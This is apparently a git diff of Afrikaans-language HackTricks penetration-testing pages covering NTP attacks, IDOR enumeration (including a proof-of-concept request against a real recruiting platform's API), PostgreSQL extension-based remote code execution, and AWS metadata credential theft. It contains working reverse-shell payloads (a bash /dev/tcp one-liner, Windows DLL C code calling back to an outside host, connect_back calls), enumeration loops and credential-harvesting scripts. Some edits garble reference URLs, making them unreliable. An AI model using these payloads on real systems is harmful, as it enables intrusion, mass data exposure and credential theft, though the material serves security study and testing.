chronyc -a -n sourcestats -h <IP>
|
||||
```
|
||||
Sien die chronyc man-bladsy vir die betekenis van die **M/S** vlae en ander velde (stratum, bereik, jitter, ens.).
|
||||
Sien die chronyc man-bladsy vir die betekenis van die **M/S** vlae en ander velde (stratum, reach, jitter, ens.).
|
||||
|
||||
### Nmap
|
||||
```bash
|
||||
@ -80,29 +80,29 @@ Gee spesiale aandag aan ``restrict`` lyne, ``kod`` (Kiss-o'-Death) instellings,
|
||||
|
||||
| Jaar | CVE | Komponent | Impak |
|
||||
|------|-----|-----------|--------|
|
||||
| 2023 | **CVE-2023-26551→26555** | ntp 4.2.8p15 (libntp *mstolfp*, *praecis_parse*) | Meervoudige out-of-bounds skrywe bereikbaar via **ntpq** antwoorde. Patches in **4.2.8p16** 🡒 opgradeer of back-port regstellings. citeturn1search1turn1search2turn1search0|
|
||||
| 2023 | **CVE-2023-33192** | **ntpd-rs** (Rust implementasie) | Swak gevormde **NTS** koekie veroorsaak afstand **DoS** voor v0.3.3 – beïnvloed poort 123 selfs wanneer NTS **gedeaktiveer** is. citeturn4view0|
|
||||
| 2024 | distro opdaterings | **chrony 4.4 / 4.5** – verskeie sekuriteitsversterkings & NTS-KE regstellings (bv. SUSE-RU-2024:2022) citeturn2search2|
|
||||
| 2024 | Rekord DDoS | Cloudflare rapporteer 'n **5.6 Tbps UDP refleksie** aanval (NTP onder protokolle gebruik). Hou *monitor* & *monlist* gedeaktiveer op internet-gefokusde gasheers. citeturn5search0|
|
||||
| 2023 | **CVE-2023-26551→26555** | ntp 4.2.8p15 (libntp *mstolfp*, *praecis_parse*) | Meervoudige out-of-bounds skrywe bereikbaar via **ntpq** antwoorde. Patches in **4.2.8p16** 🡒 opgradeer of back-port regstellings. |
|
||||
| 2023 | **CVE-2023-33192** | **ntpd-rs** (Rust implementasie) | Swak gevormde **NTS** koekie veroorsaak afstand **DoS** voor v0.3.3 – beïnvloed poort 123 selfs wanneer NTS **deaktiveer** is. |
|
||||
| 2024 | distro opdaterings | **chrony 4.4 / 4.5** – verskeie sekuriteitsversterkings & NTS-KE regstellings (bv. SUSE-RU-2024:2022) |
|
||||
| 2024 | Rekord DDoS | Cloudflare rapporteer 'n **5.6 Tbps UDP refleksie** aanval (NTP onder protokolle wat gebruik word). Hou *monitor* & *monlist* gedeaktiveer op internet-gefokusde gasheers. |
|
||||
|
||||
> **Eksploitasie kits**: Bewys-van-konsep payloads vir die 2023 ntpq OOB-skrywe reeks is op GitHub (sien Meinberg skrywe) en kan gewapen word vir kliënt-kant phishing van stelselsadministrateurs. citeturn1search4
|
||||
> **Exploit kits**: Bewys-van-konsep payloads vir die 2023 ntpq OOB-skryf reeks is op GitHub (sien Meinberg skrywe) en kan gewapen word vir kliënt-kant phishing van stelselsadministrateurs.
|
||||
|
||||
---
|
||||
## Gevorderde Aanvalle
|
||||
|
||||
### 1. NTP Amplifikasie / Refleksie
|
||||
### 1. NTP Versterking / Refleksie
|
||||
|
||||
Die erfenis Mode-7 ``monlist`` navraag keer tot **600 gasheer adresse** terug en is steeds teenwoordig op duisende internet gasheers. Omdat die antwoord (428-468 bytes/inskrywing) *~ 200×* groter is as die 8-byte versoek, kan 'n aanvaller drievoudige amplifikasiefaktore bereik. Versagtings:
|
||||
Die erfenis Mode-7 ``monlist`` navraag keer tot **600 gasheer adresse** terug en is steeds teenwoordig op duisende internet gasheers. Omdat die antwoord (428-468 bytes/inskrywing) *~ 200×* groter is as die 8-byte versoek, kan 'n aanvaller drievoudige versterkingsfaktore bereik. Versagtings:
|
||||
|
||||
- Opgradeer na ntp 4.2.8p15+ en **voeg** ``disable monitor`` by.
|
||||
- Beperk UDP/123 op die rand of aktiveer *sessies benodig* op DDoS toestelle.
|
||||
- Aktiveer *BCP 38* uitgangsfiltrering om bron spoofing te blokkeer.
|
||||
|
||||
Sien Cloudflare se leer-sentrum artikel vir 'n stap-vir-stap ontleding. citeturn5search1
|
||||
Sien Cloudflare se leer-sentrum artikel vir 'n stap-vir-stap ontleding.
|
||||
|
||||
### 2. Tyd-verskuiwing / Vertraag aanvalle (Khronos / Chronos navorsing)
|
||||
|
||||
Selfs met outentisering kan 'n op-pad aanvaller stilweg die **kliënt klok** verskuif deur pakkette te laat val/vertraag. Die IETF **Khronos (voorheen Chronos) konsep** stel voor om 'n diverse stel bedieners in die agtergrond te ondervra en die resultaat te kontroleer om 'n verskuiwing > 𝚡 ms te ontdek. Moderne chrony (4.4+) implementeer reeds 'n soortgelyke sanity filter (``maxdistance`` / ``maxjitter``). citeturn9search1
|
||||
Selfs met outentisering, kan 'n op-pad aanvaller stilweg die **kliënt klok** verskuif deur pakkette te laat val/vertraag. Die IETF **Khronos (voorheen Chronos) konsep** stel voor om 'n diverse stel bedieners in die agtergrond te ondervra en die resultaat te kontroleer om 'n verskuiwing > 𝚡 ms te ontdek. Moderne chrony (4.4+) implementeer reeds 'n soortgelyke sanity filter (``maxdistance`` / ``maxjitter``).
|
||||
|
||||
### 3. NTS misbruik & 4460/tcp blootstelling
|
||||
|
||||
@ -114,7 +114,7 @@ nmap -sV -p 4460 --script ssl-enum-ciphers,ssl-cert <IP>
|
||||
# Grab banner & ALPN
|
||||
openssl s_client -connect <IP>:4460 -alpn ntske/1 -tls1_3 -ign_eof
|
||||
```
|
||||
Soek na self-onderteken of vervalde sertifikate en swak cipher-suites (nie-AEAD). Verwysing: RFC 8915 §4. citeturn11search0
|
||||
Soek na self-signed of vervalde sertifikate en swak cipher-suites (non-AEAD). Verwysing: RFC 8915 §4.
|
||||
|
||||
---
|
||||
## Versterking / Beste-Huidige-Praktyk (BCP-233 / RFC 8633)
|
||||
@ -122,12 +122,12 @@ Soek na self-onderteken of vervalde sertifikate en swak cipher-suites (nie-AEAD)
|
||||
*Operateurs MOET:*
|
||||
|
||||
1. Gebruik **≥ 4** onafhanklike, diverse tydbronne (publieke poele, GPS, PTP-brugte) om enkelbron vergiftiging te vermy.
|
||||
2. Aktiveer ``kod`` en ``limited``/``nomodify`` beperkings sodat misbruikende kliënte **Kiss-o'-Death** tempo-beperking pakkette ontvang in plaas van volle antwoorde.
|
||||
3. Monitor daemon logs vir **panic** gebeurtenisse of stap aanpassings > 1000 s. (Handtekeninge van aanval volgens RFC 8633 §5.3.)
|
||||
4. Oorweeg **leap-smear** om leap-sekonde onderbrekings te vermy, maar verseker dat *alle* afgeleide kliënte dieselfde smeer venster gebruik.
|
||||
2. Aktiveer ``kod`` en ``limited``/``nomodify`` beperkings sodat misbruikende kliënte **Kiss-o'-Death** tempo-beperk pakkette ontvang in plaas van volle antwoorde.
|
||||
3. Monitor daemon logs vir **panic** gebeurtenisse of stapaanpassings > 1000 s. (Handtekeninge van aanval volgens RFC 8633 §5.3.)
|
||||
4. Oorweeg **leap-smear** om leap-sekonde onderbrekings te vermy, maar verseker dat *alle* afgeleide kliënte dieselfde smear venster gebruik.
|
||||
5. Hou polling ≤24 h sodat leap-sekonde vlae nie gemis word nie.
|
||||
|
||||
Sien RFC 8633 vir 'n omvattende kontrolelys. citeturn8search0turn8search1
|
||||
Sien RFC 8633 vir 'n omvattende kontrolelys.
|
||||
|
||||
---
|
||||
## Shodan / Censys Dorks
|
||||
@ -169,14 +169,14 @@ Command: nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or bru
|
||||
---
|
||||
## Verwysings
|
||||
|
||||
- RFC 8915 – *Netwerk Tyd Sekuriteit vir die Netwerk Tyd Protokol* (poort 4460) citeturn11search0
|
||||
- RFC 8633 – *Netwerk Tyd Protokol BCP* citeturn8search0
|
||||
- Cloudflare DDoS verslag 2024 Q4 (5.6 Tbps) citeturn5search0
|
||||
- Cloudflare *NTP Versterking Aanval* artikel citeturn5search1
|
||||
- NTP 4.2.8p15 CVE reeks 2023-04 citeturn1search4
|
||||
- NVD inskrywings **CVE-2023-26551–55**, **CVE-2023-33192** citeturn1search1turn1search2turn1search0turn4view0
|
||||
- SUSE chrony sekuriteitsopdatering 2024 (chrony 4.5) citeturn2search2
|
||||
- Khronos/Chronos konsep (tyd-verskuiwing versagting) citeturn9search1
|
||||
- chronyc handleiding/voorbeelde vir afstandsmonitering citeturn3search0turn10search1
|
||||
- zgrab2 ntp module dokumentasie citeturn7search0
|
||||
- RFC 8915 – *Netwerk Tyd Sekuriteit vir die Netwerk Tyd Protokol* (poort 4460)
|
||||
- RFC 8633 – *Netwerk Tyd Protokol BCP*
|
||||
- Cloudflare DDoS verslag 2024 Q4 (5.6 Tbps)
|
||||
- Cloudflare *NTP Versterking Aanval* artikel
|
||||
- NTP 4.2.8p15 CVE reeks 2023-04
|
||||
- NVD inskrywings **CVE-2023-26551–55**, **CVE-2023-33192**
|
||||
- SUSE chrony sekuriteitsopdatering 2024 (chrony 4.5)
|
||||
- Khronos/Chronos konsep (tyd-verskuiwing mitigasie)
|
||||
- chronyc handleiding/voorbeelde vir afstandsmonitering
|
||||
- zgrab2 ntp module dokumentasie
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
@ -1,5 +1,86 @@
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
**Kyk na die pos: [https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)**
|
||||
# IDOR (Onveilige Direkte Objektverwysing)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
IDOR (Onveilige Direkte Objektverwysing) / Gebroke Objektvlak Owerheid (BOLA) verskyn wanneer 'n web- of API-eindpunt 'n gebruiker-beheerde identifiseerder openbaar of aanvaar wat **direk** gebruik word om toegang te verkry tot 'n interne objek **sonder om te verifieer dat die oproeper gemagtig is** om daardie objek te benader/wysig.
|
||||
Suksesvolle uitbuiting laat normaalweg horisontale of vertikale voorregverhoging toe, soos om ander gebruikers se data te lees of te wysig en, in die ergste geval, volle rekeningoorname of massadata-uitvloeiing.
|
||||
|
||||
---
|
||||
## 1. Identifisering van Potensiële IDORs
|
||||
|
||||
1. Soek na **parameters wat 'n objek verwys**:
|
||||
* Pad: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000`
|
||||
* Navraag: `?id=42`, `?invoice=2024-00001`
|
||||
* Liggaam / JSON: `{"user_id": 321, "order_id": 987}`
|
||||
* Koptekste / Koekies: `X-Client-ID: 4711`
|
||||
2. Verkies eindpunte wat **data lees of opdateer** (`GET`, `PUT`, `PATCH`, `DELETE`).
|
||||
3. Let op wanneer identifiseerders **sekwensieel of voorspelbaar** is – as jou ID `64185742` is, bestaan `64185741` waarskynlik.
|
||||
4. Verken verborge of alternatiewe vloei (bv. *"Paradox spanlede"* skakel in aanmeldbladsye) wat ekstra API's mag blootstel.
|
||||
5. Gebruik 'n **geverifieerde lae-voorreg sessie** en verander net die ID **terwyl jy dieselfde token/koekie hou**. Die afwesigheid van 'n owerheidsfout is gewoonlik 'n teken van IDOR.
|
||||
|
||||
### Vinige handmatige tampering (Burp Repeater)
|
||||
```
|
||||
PUT /api/lead/cem-xhr HTTP/1.1
|
||||
Host: www.example.com
|
||||
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
|
||||
Content-Type: application/json
|
||||
|
||||
{"lead_id":64185741}
|
||||
```
|
||||
### Geoutomatiseerde enumerasie (Burp Intruder / curl lus)
|
||||
```bash
|
||||
for id in $(seq 64185742 64185700); do
|
||||
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
|
||||
-H 'Content-Type: application/json' \
|
||||
-H "Cookie: auth=$TOKEN" \
|
||||
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
|
||||
done
|
||||
```
|
||||
---
|
||||
## 2. Werklike Gevalstudie – McHire Chatbot Platform (2025)
|
||||
|
||||
Tydens 'n assessering van die Paradox.ai-gedrewe **McHire** werwingsportaal is die volgende IDOR ontdek:
|
||||
|
||||
* Eindpunt: `PUT /api/lead/cem-xhr`
|
||||
* Owerheid: gebruikersessie koekie vir **enige** restaurant toetsrekening
|
||||
* Liggaam parameter: `{"lead_id": N}` – 8-syfer, **sekwensiële** numeriese identifiseerder
|
||||
|
||||
Deur `lead_id` te verlaag, het die toetsers willekeurige aansoekers se **volledige PII** (naam, e-pos, telefoon, adres, skofvoorkeure) plus 'n verbruiker **JWT** wat sessie-hijacking toegelaat het, verkry. Opname van die reeks `1 – 64,185,742` het ongeveer **64 miljoen** rekords blootgestel.
|
||||
|
||||
Bewys-van-konsep versoek:
|
||||
```bash
|
||||
curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{"lead_id":64185741}'
|
||||
```
|
||||
Gekombineer met **standaard admin akrediteerbesonderhede** (`123456:123456`) wat toegang tot die toetsrekening verleen het, het die kwesbaarheid gelei tot 'n kritieke, maatskappy-wye datalek.
|
||||
|
||||
---
|
||||
## 3. Impak van IDOR / BOLA
|
||||
* Horisontale eskalasie – lees/werk by/verwyder **ander gebruikers'** data.
|
||||
* Vertikale eskalasie – lae geprivilegieerde gebruiker verkry admin-slegs funksionaliteit.
|
||||
* Massadatalek as identifiseerders opeenvolgend is (bv. aansoeker ID's, fakture).
|
||||
* Rekening oorname deur die steel van tokens of die reset van wagwoorde van ander gebruikers.
|
||||
|
||||
---
|
||||
## 4. Versagtings & Beste Praktyke
|
||||
1. **Handhaaf objekvlak outorisering** op elke versoek (`user_id == session.user`).
|
||||
2. Verkies **indirekte, onvoorspelbare identifiseerders** (UUIDv4, ULID) in plaas van outo-toegevoegde ID's.
|
||||
3. Voer outorisering **bediener-kant** uit, moenie ooit op versteekte vormvelde of UI-beheer staatmaak nie.
|
||||
4. Implementeer **RBAC / ABAC** kontroles in 'n sentrale middleware.
|
||||
5. Voeg **spoedbeperking & logging** by om die opsporing van ID's te detecteer.
|
||||
6. Sekuriteitstoets elke nuwe eindpunt (eenheid, integrasie, en DAST).
|
||||
|
||||
---
|
||||
## 5. Gereedskap
|
||||
* **BurpSuite uitbreidings**: Authorize, Auto Repeater, Turbo Intruder.
|
||||
* **OWASP ZAP**: Auth Matrix, Forced Browse.
|
||||
* **Github projekte**: `bwapp-idor-scanner`, `Blindy` (grootmaat IDOR jag).
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Verwysings
|
||||
* [McHire Chatbot Platform: Standaard Akrediteerbesonderhede en IDOR Stel 64M Aansoekers’ PII Bloot](https://ian.sh/mcdonalds)
|
||||
* [OWASP Top 10 – Gebroke Toegang Beheer](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)
|
||||
* [Hoe om Meer IDORs te Vind – Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
@ -8,7 +8,7 @@ PostgreSQL is ontwikkel met uitbreidbaarheid as 'n kernfunksie, wat dit moontlik
|
||||
|
||||
Vanaf weergawe 8.1 word 'n spesifieke vereiste op die uitbreidingsbiblioteke opgelê: hulle moet saamgekompileer word met 'n spesiale kop. Sonder dit sal PostgreSQL hulle nie uitvoer nie, wat verseker dat slegs kompatible en potensieel veilige uitbreidings gebruik word.
|
||||
|
||||
Hou ook in gedagte dat **as jy nie weet hoe om** [**lêers na die slagoffer op te laai deur PostgreSQL nie, moet jy hierdie pos lees.**](big-binary-files-upload-postgresql.md)
|
||||
Hou ook in gedagte dat **as jy nie weet hoe om** [**lêers na die slagoffer op te laai deur PostgreSQL te misbruik nie, moet jy hierdie pos lees.**](big-binary-files-upload-postgresql.md)
|
||||
|
||||
### RCE in Linux
|
||||
|
||||
@ -28,7 +28,7 @@ CREATE OR REPLACE FUNCTION close(int) RETURNS int AS '/lib/libc.so.6', 'close' L
|
||||
|
||||
<summary>Skryf binêre lêer vanaf base64</summary>
|
||||
|
||||
Om 'n binêre lêer in postgres te skryf, mag jy base64 moet gebruik, dit sal nuttig wees vir daardie saak:
|
||||
Om 'n binêre lêer in 'n lêer in postgres te skryf, mag jy base64 moet gebruik, dit sal nuttig wees vir daardie saak:
|
||||
```sql
|
||||
CREATE OR REPLACE FUNCTION write_to_file(file TEXT, s TEXT) RETURNS int AS
|
||||
$$
|
||||
@ -73,15 +73,15 @@ $$ LANGUAGE 'plpgsql';
|
||||
ERROR: incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magic block
|
||||
HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
|
||||
```
|
||||
Hierdie fout word verduidelik in die [PostgreSQL dokumentasie](https://www.postgresql.org/docs/current/static/xfunc-c.html):
|
||||
Hierdie fout word in die [PostgreSQL dokumentasie](https://www.postgresql.org/docs/current/static/xfunc-c.html) verduidelik:
|
||||
|
||||
> Om te verseker dat 'n dinamies gelaaide objeklêer nie in 'n onverenigbare bediener gelaai word nie, kontroleer PostgreSQL dat die lêer 'n “magiese blok” met die toepaslike inhoud bevat. Dit stel die bediener in staat om voor die hand liggende onverenigbaarhede te detecteer, soos kode wat saamgekom is vir 'n ander hoofweergawe van PostgreSQL. 'n Magiese blok is vereis vanaf PostgreSQL 8.2. Om 'n magiese blok in te sluit, skryf dit in een (en slegs een) van die module-bronlêers, nadat jy die koptekst fmgr.h ingesluit het:
|
||||
> Om te verseker dat 'n dinamies gelaaide objeklêer nie in 'n onverenigbare bediener gelaai word nie, kontroleer PostgreSQL dat die lêer 'n “magiese blok” met die toepaslike inhoud bevat. Dit stel die bediener in staat om voor die hand liggende onverenigbaarhede te detecteer, soos kode wat gecompileer is vir 'n ander hoofweergawe van PostgreSQL. 'n Magiese blok is vereis vanaf PostgreSQL 8.2. Om 'n magiese blok in te sluit, skryf dit in een (en slegs een) van die modulebronne lêers, nadat jy die koptekst fmgr.h ingesluit het:
|
||||
>
|
||||
> `#ifdef PG_MODULE_MAGIC`\
|
||||
> `PG_MODULE_MAGIC;`\
|
||||
> `#endif`
|
||||
|
||||
Sedert PostgreSQL weergawe 8.2 is die proses vir 'n aanvaller om die stelsel te ontgin, moeiliker gemaak. Die aanvaller moet óf 'n biblioteek gebruik wat reeds op die stelsel teenwoordig is, óf 'n pasgemaakte biblioteek oplaai. Hierdie pasgemaakte biblioteek moet saamgekom wees teen die verenigbare hoofweergawe van PostgreSQL en moet 'n spesifieke "magiese blok" insluit. Hierdie maatreël verhoog die moeilikheidsgraad van die ontginning van PostgreSQL-stelsels aansienlik, aangesien dit 'n dieper begrip van die stelsel se argitektuur en weergawe-verenigbaarheid vereis.
|
||||
Sedert PostgreSQL weergawe 8.2 is die proses vir 'n aanvaller om die stelsel te ontgin, moeiliker gemaak. Die aanvaller moet óf 'n biblioteek gebruik wat reeds op die stelsel teenwoordig is, óf 'n pasgemaakte biblioteek op te laai. Hierdie pasgemaakte biblioteek moet teen die verenigbare hoofweergawe van PostgreSQL gecompileer wees en moet 'n spesifieke "magiese blok" insluit. Hierdie maatreël verhoog die moeilikheidsgraad van die ontginning van PostgreSQL stelsels aansienlik, aangesien dit 'n dieper begrip van die stelsel se argitektuur en weergawe-verenigbaarheid vereis.
|
||||
|
||||
#### Compile die biblioteek
|
||||
|
||||
@ -90,7 +90,7 @@ Kry die PsotgreSQL weergawe met:
|
||||
SELECT version();
|
||||
PostgreSQL 9.6.3 on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.0 20170516, 64-bit
|
||||
```
|
||||
Vir kompatibiliteit is dit noodsaaklik dat die hoofweergawes ooreenstem. Daarom moet die saamstel van 'n biblioteek met enige weergawe binne die 9.6.x-reeks suksesvolle integrasie verseker.
|
||||
Vir kompatibiliteit is dit noodsaaklik dat die hoof weergawes ooreenstem. Daarom moet die saamstel van 'n biblioteek met enige weergawe binne die 9.6.x reeks suksesvolle integrasie verseker.
|
||||
|
||||
Om daardie weergawe in jou stelsel te installeer:
|
||||
```bash
|
||||
@ -119,7 +119,7 @@ CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAG
|
||||
SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');
|
||||
#Notice the double single quotes are needed to scape the qoutes
|
||||
```
|
||||
Jy kan hierdie **biblioteek vooraf saamgekompileer** vind vir verskeie versies van PostgreSQL en jy kan selfs **hierdie proses outomatiseer** (as jy PostgreSQL toegang het) met:
|
||||
Jy kan hierdie **biblioteek vooraf saamgekompileer** vind vir verskeie versies van PostgreSQL en selfs hierdie proses **automate** (as jy PostgreSQL toegang het) met:
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/Dionach/pgexec
|
||||
@ -176,7 +176,7 @@ CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.1
|
||||
SELECT remote_exec('calc.exe', 2);
|
||||
DROP FUNCTION remote_exec(text, integer);
|
||||
```
|
||||
In [**hier** ](https://zerosum0x0.blogspot.com/2016/06/windows-dll-to-shell-postgres-servers.html) kan jy hierdie omgekeerde-skaal vind:
|
||||
In [**hier** ](https://zerosum0x0.blogspot.com/2016/06/windows-dll-to-shell-postgres-servers.html) kan jy hierdie omgekeerde-shel vind:
|
||||
```c
|
||||
#define PG_REVSHELL_CALLHOME_SERVER "10.10.10.10"
|
||||
#define PG_REVSHELL_CALLHOME_PORT "4444"
|
||||
@ -254,7 +254,7 @@ int32 arg = PG_GETARG_INT32(0);
|
||||
PG_RETURN_INT32(arg + 1);
|
||||
}
|
||||
```
|
||||
Let op hoe in hierdie geval die **kwaadwillige kode binne die DllMain-funksie is**. Dit beteken dat dit in hierdie geval nie nodig is om die gelaaide funksie in postgresql uit te voer nie, net **om die DLL te laai** sal die **terugskakel** uitvoer:
|
||||
Let op hoe in hierdie geval die **kwaadwillige kode binne die DllMain-funksie** is. Dit beteken dat dit in hierdie geval nie nodig is om die gelaaide funksie in postgresql uit te voer nie, net **om die DLL te laai** sal die **terugskakel** uitvoer:
|
||||
```c
|
||||
CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;
|
||||
```
|
||||
@ -262,13 +262,13 @@ Die [PolyUDF projek](https://github.com/rop-la/PolyUDF) is ook 'n goeie beginpun
|
||||
|
||||
### RCE in nuutste PostgreSQL weergawes
|
||||
|
||||
In die **nuutste weergawes** van PostgreSQL is daar beperkings opgelê waar die `superuser` **verbied** word om **gesamentlike biblioteek** lêers te **laai** behalwe uit spesifieke gidse, soos `C:\Program Files\PostgreSQL\11\lib` op Windows of `/var/lib/postgresql/11/lib` op \*nix stelsels. Hierdie gidse is **verseker** teen skryfbewerkings deur óf die NETWORK_SERVICE óf postgres rekeninge.
|
||||
In die **nuutste weergawes** van PostgreSQL is daar beperkings opgelê waar die `superuser` **verbied** word om **gesamentlike biblioteek** lêers te **laai** behalwe uit spesifieke gidse, soos `C:\Program Files\PostgreSQL\11\lib` op Windows of `/var/lib/postgresql/11/lib` op \*nix stelsels. Hierdie gidse is **beveilig** teen skryfoperasies deur óf die NETWORK_SERVICE óf postgres rekeninge.
|
||||
|
||||
Ten spyte van hierdie beperkings, is dit moontlik vir 'n geverifieerde databasis `superuser` om **binaire lêers** na die lêerstelsel te **skryf** met behulp van "groot voorwerpe." Hierdie vermoë strek tot skryf binne die `C:\Program Files\PostgreSQL\11\data` gids, wat noodsaaklik is vir databasisoperasies soos om tabelles op te dateer of te skep.
|
||||
Ten spyte van hierdie beperkings, is dit moontlik vir 'n geverifieerde databasis `superuser` om **binaire lêers** na die lêerstelsel te **skryf** deur "groot voorwerpe." Hierdie vermoë strek tot skryf binne die `C:\Program Files\PostgreSQL\11\data` gids, wat noodsaaklik is vir databasisoperasies soos om tabelles op te dateer of te skep.
|
||||
|
||||
'n Beduidende kwesbaarheid ontstaan uit die `CREATE FUNCTION` opdrag, wat **directory traversal** na die datagids **toelaat**. Gevolglik kan 'n geverifieerde aanvaller hierdie **traversal** benut om 'n gesamentlike biblioteek lêer in die datagids te skryf en dit dan **te laai**. Hierdie uitbuiting stel die aanvaller in staat om arbitrêre kode uit te voer, wat native kode-uitvoering op die stelsel bereik.
|
||||
'n Beduidende kwesbaarheid ontstaan uit die `CREATE FUNCTION` opdrag, wat **gids traversering** na die datagids **toelaat**. Gevolglik kan 'n geverifieerde aanvaller hierdie traversering **benut** om 'n gesamentlike biblioteek lêer in die datagids te skryf en dit dan **te laai**. Hierdie uitbuiting stel die aanvaller in staat om arbitrêre kode uit te voer, wat lei tot inheemse kode-uitvoering op die stelsel.
|
||||
|
||||
#### Aanvalstroom
|
||||
#### Aanval vloei
|
||||
|
||||
Eerstens moet jy **groot voorwerpe gebruik om die dll op te laai**. Jy kan sien hoe om dit hier te doen:
|
||||
|
||||
@ -276,15 +276,15 @@ Eerstens moet jy **groot voorwerpe gebruik om die dll op te laai**. Jy kan sien
|
||||
big-binary-files-upload-postgresql.md
|
||||
{{#endref}}
|
||||
|
||||
Sodra jy die uitbreiding (met die naam poc.dll vir hierdie voorbeeld) na die datagids opgelaai het, kan jy dit laai met:
|
||||
Sodra jy die uitbreiding (met die naam van poc.dll vir hierdie voorbeeld) na die datagids opgelaai het, kan jy dit laai met:
|
||||
```c
|
||||
create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
|
||||
select connect_back('192.168.100.54', 1234);
|
||||
```
|
||||
_Note dat jy nie die `.dll` uitbreiding hoef by te voeg nie, aangesien die create funksie dit sal byvoeg._
|
||||
|
||||
Vir meer inligting **lees die** [**oorspronklike publikasie hier**](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.**\
|
||||
In daardie publikasie **was dit die** [**kode wat gebruik is om die postgres uitbreiding te genereer**](https://github.com/sourceincite/tools/blob/master/pgpwn.c) (_om te leer hoe om 'n postgres uitbreiding te compileer, lees enige van die vorige weergawes_).\
|
||||
Vir meer inligting **lees die** [**oorspronklike publikasie hier**](https://srcin.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**.**\
|
||||
In daardie publikasie **was dit die** [**kode wat gebruik is om die postgres uitbreiding te genereer**](https://github.com/sourcein/tools/blob/master/pgpwn.c) (_om te leer hoe om 'n postgres uitbreiding te compileer, lees enige van die vorige weergawes_).\
|
||||
Op dieselfde bladsy is hierdie **exploit om** hierdie tegniek te outomatiseer gegee:
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
|
@ -13,7 +13,7 @@ Daar is **2 weergawes** van die metadata eindpunt. Die **eerste** een laat toe o
|
||||
> [!CAUTION]
|
||||
> Let daarop dat as die EC2 instansie IMDSv2 afdwing, [**volgens die dokumentasie**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), die **antwoord van die PUT versoek** 'n **hop limiet van 1** sal hê, wat dit onmoontlik maak om die EC2 metadata vanaf 'n houer binne die EC2 instansie te verkry.
|
||||
>
|
||||
> Boonop sal **IMDSv2** ook **versoeke blokkeer om 'n token te verkry wat die `X-Forwarded-For` kop bevat**. Dit is om te voorkom dat verkeerd geconfigureerde omgekeerde proxies toegang kan verkry.
|
||||
> Boonop, **IMDSv2** sal ook **versoeke blokkeer om 'n token te verkry wat die `X-Forwarded-For` kop bevat**. Dit is om te voorkom dat verkeerd geconfigureerde omgekeerde proxies toegang kan verkry.
|
||||
|
||||
Jy kan inligting oor die [metadata eindpunte in die dokumentasie vind](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). In die volgende skrip word 'n paar interessante inligting daaruit verkry:
|
||||
```bash
|
||||
@ -75,13 +75,13 @@ echo ""
|
||||
echo "EC2 Security Credentials"
|
||||
eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""
|
||||
```
|
||||
As 'n **openlik beskikbare IAM geloofsbriewe** blootgestelde voorbeeld kan jy besoek: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)
|
||||
As 'n **openlik beskikbare IAM-akkrediteerings** blootgestelde voorbeeld kan jy besoek: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)
|
||||
|
||||
Jy kan ook openbare **EC2 sekuriteitsgeloofsbriewe** nagaan in: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
|
||||
Jy kan ook publieke **EC2-sekuriteitsakkrediteerings** nagaan in: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
|
||||
|
||||
Jy kan dan **daardie geloofsbriewe neem en dit saam met die AWS CLI gebruik**. Dit sal jou toelaat om **enige iets te doen wat daardie rol toestemming het** om te doen.
|
||||
